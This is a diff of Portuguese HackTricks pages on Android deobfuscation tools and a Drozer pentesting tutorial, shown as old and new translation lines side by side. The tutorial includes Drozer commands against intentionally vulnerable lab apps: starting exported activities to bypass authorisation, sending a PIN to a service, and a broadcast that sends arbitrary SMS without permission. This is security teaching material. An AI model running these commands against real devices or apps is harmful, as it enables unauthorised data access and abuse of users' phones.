Do [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** é uma ferramenta de linha de comando de código aberto que reduz, otimiza e ofusca o código Java. Ele é capaz de otimizar o bytecode, bem como detectar e remover instruções não utilizadas. O ProGuard é um software gratuito e é distribuído sob a Licença Pública Geral GNU, versão 2.
|
||||
|
||||
O ProGuard é distribuído como parte do Android SDK e é executado ao compilar o aplicativo no modo de lançamento.
|
||||
|
||||
De: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encontre um guia passo a passo para desofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
@ -782,19 +764,19 @@ Encontre um guia passo a passo para desofuscar o apk em [https://blog.lexfo.fr/d
|
|||
|
||||
* carregar um recurso como um InputStream;
|
||||
* alimentar o resultado para uma classe herdando de FilterInputStream para descriptografá-lo;
|
||||
* fazer alguma obfuscação inútil para desperdiçar alguns minutos de tempo de um reversor;
|
||||
* fazer alguma obfuscação inútil para desperdiçar alguns minutos de um reverser;
|
||||
* alimentar o resultado descriptografado para um ZipInputStream para obter um arquivo DEX;
|
||||
* finalmente carregar o DEX resultante como um Recurso usando o método `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard reverte o processo de ofuscação realizado por ferramentas de obfuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
|
||||
**DeGuard reverte o processo de obfuscação realizado por ferramentas de obfuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
|
||||
|
||||
Você pode fazer upload de um APK ofuscado para a plataforma deles.
|
||||
Você pode fazer upload de um APK obfuscado para a plataforma deles.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que ele se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de obfuscação usado.
|
||||
É um **desofuscador genérico para Android.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de obfuscação é usada.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -802,7 +784,7 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
|||
|
||||
### Manual
|
||||
|
||||
[Leia este tutorial para aprender alguns truques sobre **como reverter a obfuscação personalizada**](manual-deobfuscation.md)
|
||||
[Leia este tutorial para aprender alguns truques sobre **como reverter obfuscação personalizada**](manual-deobfuscation.md)
|
||||
|
||||
## Laboratórios
|
||||
|
||||
|
@ -810,25 +792,16 @@ APKiD fornece informações sobre **como um APK foi feito**. Ele identifica muit
|
|||
|
||||
AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate que inclui a coleção dos últimos frameworks, tutoriais e laboratórios de diferentes geeks de segurança e pesquisadores para engenharia reversa e análise de malware.
|
||||
|
||||
### OWASP
|
||||
|
||||
{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %}
|
||||
|
||||
### Repositórios Git
|
||||
|
||||
[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\
|
||||
[https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
|
||||
|
||||
## Referências
|
||||
|
||||
Para mais informações, visite:
|
||||
|
||||
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) É uma ótima lista de recursos
|
||||
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Curso rápido de Android
|
||||
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
|
||||
|
||||
## Para Testar
|
||||
## Ainda a ser testado
|
||||
|
||||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
@ -838,19 +811,19 @@ Para mais informações, visite:
|
|||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
|
|
@ -1,46 +1,49 @@
|
|||
# Tutorial Drozer
|
||||
# Tutorial do Drozer
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Dica para bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100,000**!
|
||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensa por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## APKs para testar
|
||||
|
||||
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (da mrwlabs)
|
||||
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (de mrwlabs)
|
||||
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
||||
|
||||
|
||||
**Partes deste tutorial foram extraídas do [pdf de documentação do Drozer](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf).**
|
||||
|
||||
## Instalação
|
||||
|
||||
Instale o Cliente Drozer no seu host. Baixe-o a partir das [últimas versões](https://github.com/mwrlabs/drozer/releases).
|
||||
Instale o Cliente Drozer dentro do seu host. Baixe-o das [últimas versões](https://github.com/mwrlabs/drozer/releases).
|
||||
```bash
|
||||
pip install drozer-2.4.4-py2-none-any.whl
|
||||
pip install twisted
|
||||
pip install service_identity
|
||||
```
|
||||
Baixe e instale o APK do drozer a partir dos [últimos lançamentos](https://github.com/mwrlabs/drozer/releases). No momento, é [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||
```
|
||||
Baixe e instale o arquivo APK do drozer nas [últimas versões](https://github.com/mwrlabs/drozer/releases). Neste momento, é [este](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
||||
```bash
|
||||
adb install drozer.apk
|
||||
```
|
||||
### Iniciando o Servidor
|
||||
|
||||
O Agent está rodando na porta 31415, precisamos fazer o [encaminhamento de porta](https://en.wikipedia.org/wiki/Port\_forwarding) para estabelecer a comunicação entre o Cliente Drozer e o Agent, aqui está o comando para fazer isso:
|
||||
```
|
||||
O agente está em execução na porta 31415, precisamos fazer [encaminhamento de porta](https://en.wikipedia.org/wiki/Port\_forwarding) para estabelecer a comunicação entre o Cliente Drozer e o Agente, aqui está o comando para fazer isso:
|
||||
```bash
|
||||
adb forward tcp:31415 tcp:31415
|
||||
```
|
||||
Finalmente, **inicie** o **aplicativo** e pressione o botão "**ON**"
|
||||
|
@ -48,35 +51,35 @@ Finalmente, **inicie** o **aplicativo** e pressione o botão "**ON**"
|
|||
![](<../../../.gitbook/assets/image (63).png>)
|
||||
|
||||
E conecte-se a ele:
|
||||
```
|
||||
```bash
|
||||
drozer console connect
|
||||
```
|
||||
## Comandos Interessantes
|
||||
|
||||
| **Comandos** | **Descrição** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Mostra a ajuda do módulo selecionado |
|
||||
| **list** | Exibe uma lista de todos os módulos drozer que podem ser executados na sessão atual. Isso oculta módulos que você não tem permissões adequadas para executar. |
|
||||
| **Help MODULE** | Mostra a ajuda do módulo selecionado |
|
||||
| **list** | Mostra uma lista de todos os módulos do drozer que podem ser executados na sessão atual. Isso oculta módulos para os quais você não tem permissões adequadas para executar. |
|
||||
| **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente. |
|
||||
| **clean** | Remove arquivos temporários armazenados pelo drozer no dispositivo Android. |
|
||||
| **load** | Carrega um arquivo contendo comandos drozer e executa-os em sequência. |
|
||||
| **module** | Encontra e instala módulos drozer adicionais da Internet. |
|
||||
| **clean** | Remove arquivos temporários armazenados pelo drozer no dispositivo Android. |
|
||||
| **load** | Carrega um arquivo contendo comandos do drozer e os executa em sequência. |
|
||||
| **module** | Encontra e instala módulos adicionais do drozer da Internet. |
|
||||
| **unset** | Remove uma variável nomeada que o drozer passa para quaisquer shells Linux que ele inicia. |
|
||||
| **set** | Armazena um valor em uma variável que será passada como uma variável de ambiente para quaisquer shells Linux iniciados pelo drozer. |
|
||||
| **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente |
|
||||
| **run MODULE** | Executa um módulo drozer |
|
||||
| **exploit** | O drozer pode criar exploits para executar no dispositivo. `drozer exploit list` |
|
||||
| **payload** | Os exploits precisam de um payload. `drozer payload list` |
|
||||
| **set** | Armazena um valor em uma variável que será passada como variável de ambiente para quaisquer shells Linux iniciados pelo drozer. |
|
||||
| **shell** | Inicia um shell Linux interativo no dispositivo, no contexto do Agente. |
|
||||
| **run MODULE** | Executa um módulo do drozer. |
|
||||
| **exploit** | O Drozer pode criar exploits para serem executados no dispositivo. `drozer exploit list` |
|
||||
| **payload** | Os exploits precisam de um payload. `drozer payload list` |
|
||||
|
||||
### Pacote
|
||||
|
||||
Encontre o **nome** do pacote filtrando por parte do nome:
|
||||
```
|
||||
```bash
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
```
|
||||
**Informações Básicas** do pacote:
|
||||
```
|
||||
**Informações básicas** do pacote:
|
||||
```bash
|
||||
dz> run app.package.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
Process Name: com.mwr.example.sieve
|
||||
|
@ -95,12 +98,12 @@ Defines Permissions:
|
|||
- com.mwr.example.sieve.READ_KEYS
|
||||
- com.mwr.example.sieve.WRITE_KEYS
|
||||
```
|
||||
Ler **Manifest**:
|
||||
```
|
||||
Leia **Manifest**:
|
||||
```bash
|
||||
run app.package.manifest jakhar.aseem.diva
|
||||
```
|
||||
**Superfície de ataque** do pacote:
|
||||
```
|
||||
```bash
|
||||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||||
Attack Surface:
|
||||
3 activities exported
|
||||
|
@ -109,14 +112,14 @@ Attack Surface:
|
|||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
* **Activities**: Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir o lançamento dela.
|
||||
* **Content providers**: Talvez você possa acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Path Traversal).
|
||||
* **Services**:
|
||||
* **Atividades**: Talvez você consiga iniciar uma atividade e contornar algum tipo de autorização que deveria impedir você de lançá-la.
|
||||
* **Provedores de conteúdo**: Talvez você consiga acessar dados privados ou explorar alguma vulnerabilidade (SQL Injection ou Traversão de Caminho).
|
||||
* **Serviços**:
|
||||
* **is debuggable**: [Saiba mais](./#is-debuggeable)
|
||||
|
||||
### Activities
|
||||
### Atividades
|
||||
|
||||
O valor "android:exported" de um componente de atividade exportado está definido como **"true"** no arquivo AndroidManifest.xml:
|
||||
O valor "android:exported" de um componente de atividade exportado é definido como **"true"** no arquivo AndroidManifest.xml:
|
||||
```markup
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
|
@ -131,7 +134,7 @@ com.mwr.example.sieve.PWList
|
|||
```
|
||||
**Iniciar atividade**:
|
||||
|
||||
Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir o lançamento dela.
|
||||
Talvez você possa iniciar uma atividade e contornar algum tipo de autorização que deveria impedir você de lançá-la.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -139,16 +142,16 @@ dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sie
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Você também pode iniciar uma atividade exportada a partir do **adb**:
|
||||
Você também pode iniciar uma atividade exportada pelo **adb**:
|
||||
|
||||
* PackageName é com.example.demo
|
||||
* Exported ActivityName é com.example.test.MainActivity
|
||||
* Nome da Atividade Exportada é com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
### Provedores de Conteúdo
|
||||
|
||||
Este post era tão grande para estar aqui que **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
|
||||
Este post era muito grande para estar aqui, então **você pode** [**acessá-lo em sua própria página aqui**](exploiting-content-providers.md).
|
||||
|
||||
### Serviços
|
||||
|
||||
|
@ -174,7 +177,7 @@ com.mwr.example.sieve.CryptoService
|
|||
Permission: null
|
||||
```
|
||||
#### **Interagir** com um serviço
|
||||
```
|
||||
```bash
|
||||
app.service.send Send a Message to a service, and display the reply
|
||||
app.service.start Start Service
|
||||
app.service.stop Stop Service
|
||||
|
@ -185,8 +188,8 @@ Dê uma olhada na ajuda do **drozer** para `app.service.send`:
|
|||
|
||||
![](<../../../.gitbook/assets/image (196) (1).png>)
|
||||
|
||||
Note que você estará enviando primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_". Você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
|
||||
Usando a opção `--extra`, você pode enviar algo interpretado por "_msg.replyTo"_, e usando `--bundle-as-obj`, você cria um objeto com os detalhes fornecidos.
|
||||
Note que você estará enviando primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
|
||||
Usando a opção `--extra` você pode enviar algo interpretado por "_msg.replyTo"_, e usando `--bundle-as-obj` você cria um objeto com os detalhes fornecidos.
|
||||
|
||||
No exemplo a seguir:
|
||||
|
||||
|
@ -194,37 +197,20 @@ No exemplo a seguir:
|
|||
* `arg1 == 9234`
|
||||
* `arg2 == 1`
|
||||
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
||||
```
|
||||
```bash
|
||||
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
||||
```
|
||||
```markdown
|
||||
![](<../../../.gitbook/assets/image (195).png>)
|
||||
### Receptores de Transmissão
|
||||
|
||||
### Receptores de Broadcast
|
||||
**Na seção de informações básicas do Android, você pode ver o que é um Receptor de Transmissão**.
|
||||
|
||||
Aplicativos Android podem enviar ou receber mensagens broadcast do sistema Android e de outros aplicativos Android, similar ao padrão de design [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern). Esses broadcasts são enviados quando um evento de interesse ocorre. Por exemplo, o sistema Android envia broadcasts quando vários eventos do sistema ocorrem, como quando o sistema é iniciado ou o dispositivo começa a carregar. Aplicativos também podem enviar broadcasts personalizados, por exemplo, para notificar outros aplicativos sobre algo que possa ser do interesse deles (por exemplo, novos dados foram baixados).
|
||||
Após descobrir esses Receptores de Transmissão, você deve **verificar o código** deles. Preste atenção especial na função **`onReceive`** pois ela será responsável por lidar com as mensagens recebidas.
|
||||
|
||||
Aplicativos podem se registrar para receber broadcasts específicos. Quando um broadcast é enviado, o sistema automaticamente encaminha os broadcasts para os aplicativos que se inscreveram para receber aquele tipo particular de broadcast.
|
||||
|
||||
Isso poderia aparecer dentro do arquivo Manifest.xml:
|
||||
```
|
||||
```markup
|
||||
<receiver android:name=".MyBroadcastReceiver" android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
```
|
||||
De: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts)
|
||||
|
||||
Após descobrir estes Broadcast Receivers, você deve **verificar o código** deles. Preste atenção especial à função **`onReceive`**, pois ela será responsável por lidar com as mensagens recebidas.
|
||||
|
||||
#### **Detectar todos** os broadcast receivers
|
||||
#### **Detectar todos** os receptores de transmissão
|
||||
```bash
|
||||
run app.broadcast.info #Detects all
|
||||
```
|
||||
#### Verificar os receptores de transmissão de um app
|
||||
#### Verificar receptores de transmissão de um aplicativo
|
||||
```bash
|
||||
#Check one negative
|
||||
run app.broadcast.info -a jakhar.aseem.diva
|
||||
|
@ -245,34 +231,34 @@ Permission: null
|
|||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||||
Permission: null
|
||||
```
|
||||
#### Interações de **Broadcast**
|
||||
```
|
||||
#### Interações de **Transmissão**
|
||||
```bash
|
||||
app.broadcast.info Get information about broadcast receivers
|
||||
app.broadcast.send Send broadcast using an intent
|
||||
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
||||
```
|
||||
#### Enviar uma mensagem
|
||||
|
||||
Neste exemplo, abusando do Content Provider do [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk), você pode **enviar um SMS arbitrário** para qualquer destino não-premium **sem pedir** permissão ao usuário.
|
||||
Neste exemplo, abusando do [apk FourGoats](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, você pode **enviar um SMS arbitrário** para qualquer destino não premium **sem pedir** permissão ao usuário.
|
||||
|
||||
![](<../../../.gitbook/assets/image (199).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (197) (1).png>)
|
||||
|
||||
Se você ler o código, os parâmetros "_phoneNumber_" e "_message_" devem ser enviados para o Content Provider.
|
||||
```
|
||||
```bash
|
||||
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
||||
```
|
||||
### É depurável
|
||||
### Está depurável
|
||||
|
||||
Um APK de produção nunca deve ser depurável.\
|
||||
Isso significa que você pode **anexar um depurador Java** à aplicação em execução, inspecioná-la em tempo real, definir pontos de interrupção, avançar passo a passo, coletar valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-applciation.md) sobre aprofundamento quando sua aplicação é depurável e injetando código em tempo de execução.
|
||||
Um APK de produção nunca deve estar depurável.\
|
||||
Isso significa que você pode **anexar um depurador Java** à aplicação em execução, inspecioná-la em tempo de execução, definir pontos de interrupção, avançar passo a passo, reunir valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-application.md) sobre aprofundar quando sua aplicação está depurável e injetar código em tempo de execução.
|
||||
|
||||
Quando uma aplicação é depurável, isso aparecerá no Manifest:
|
||||
```html
|
||||
Quando uma aplicação está depurável, ela aparecerá no Manifesto:
|
||||
```xml
|
||||
<application theme="@2131296387" debuggable="true"
|
||||
```
|
||||
Você pode encontrar todos os aplicativos depuráveis com **Drozer**:
|
||||
Você pode encontrar todas as aplicações depuráveis com o **Drozer**:
|
||||
```bash
|
||||
run app.package.debuggable
|
||||
```
|
||||
|
@ -289,20 +275,20 @@ run app.package.debuggable
|
|||
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
**Dica de recompensa por bugs**: **inscreva-se** na **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,36 @@
|
|||
# Explorando Content Providers
|
||||
# Explorando Provedores de Conteúdo
|
||||
|
||||
## Explorando Content Providers
|
||||
## Explorando Provedores de Conteúdo
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Introdução
|
||||
|
||||
Um componente de content provider **fornece dados de um aplicativo para outros** mediante solicitação. Tais solicitações são tratadas pelos métodos da classe ContentResolver. Um content provider pode usar diferentes maneiras de armazenar seus dados e os dados podem ser **armazenados** em um **banco de dados**, em **arquivos**, ou até mesmo através de uma **rede**.
|
||||
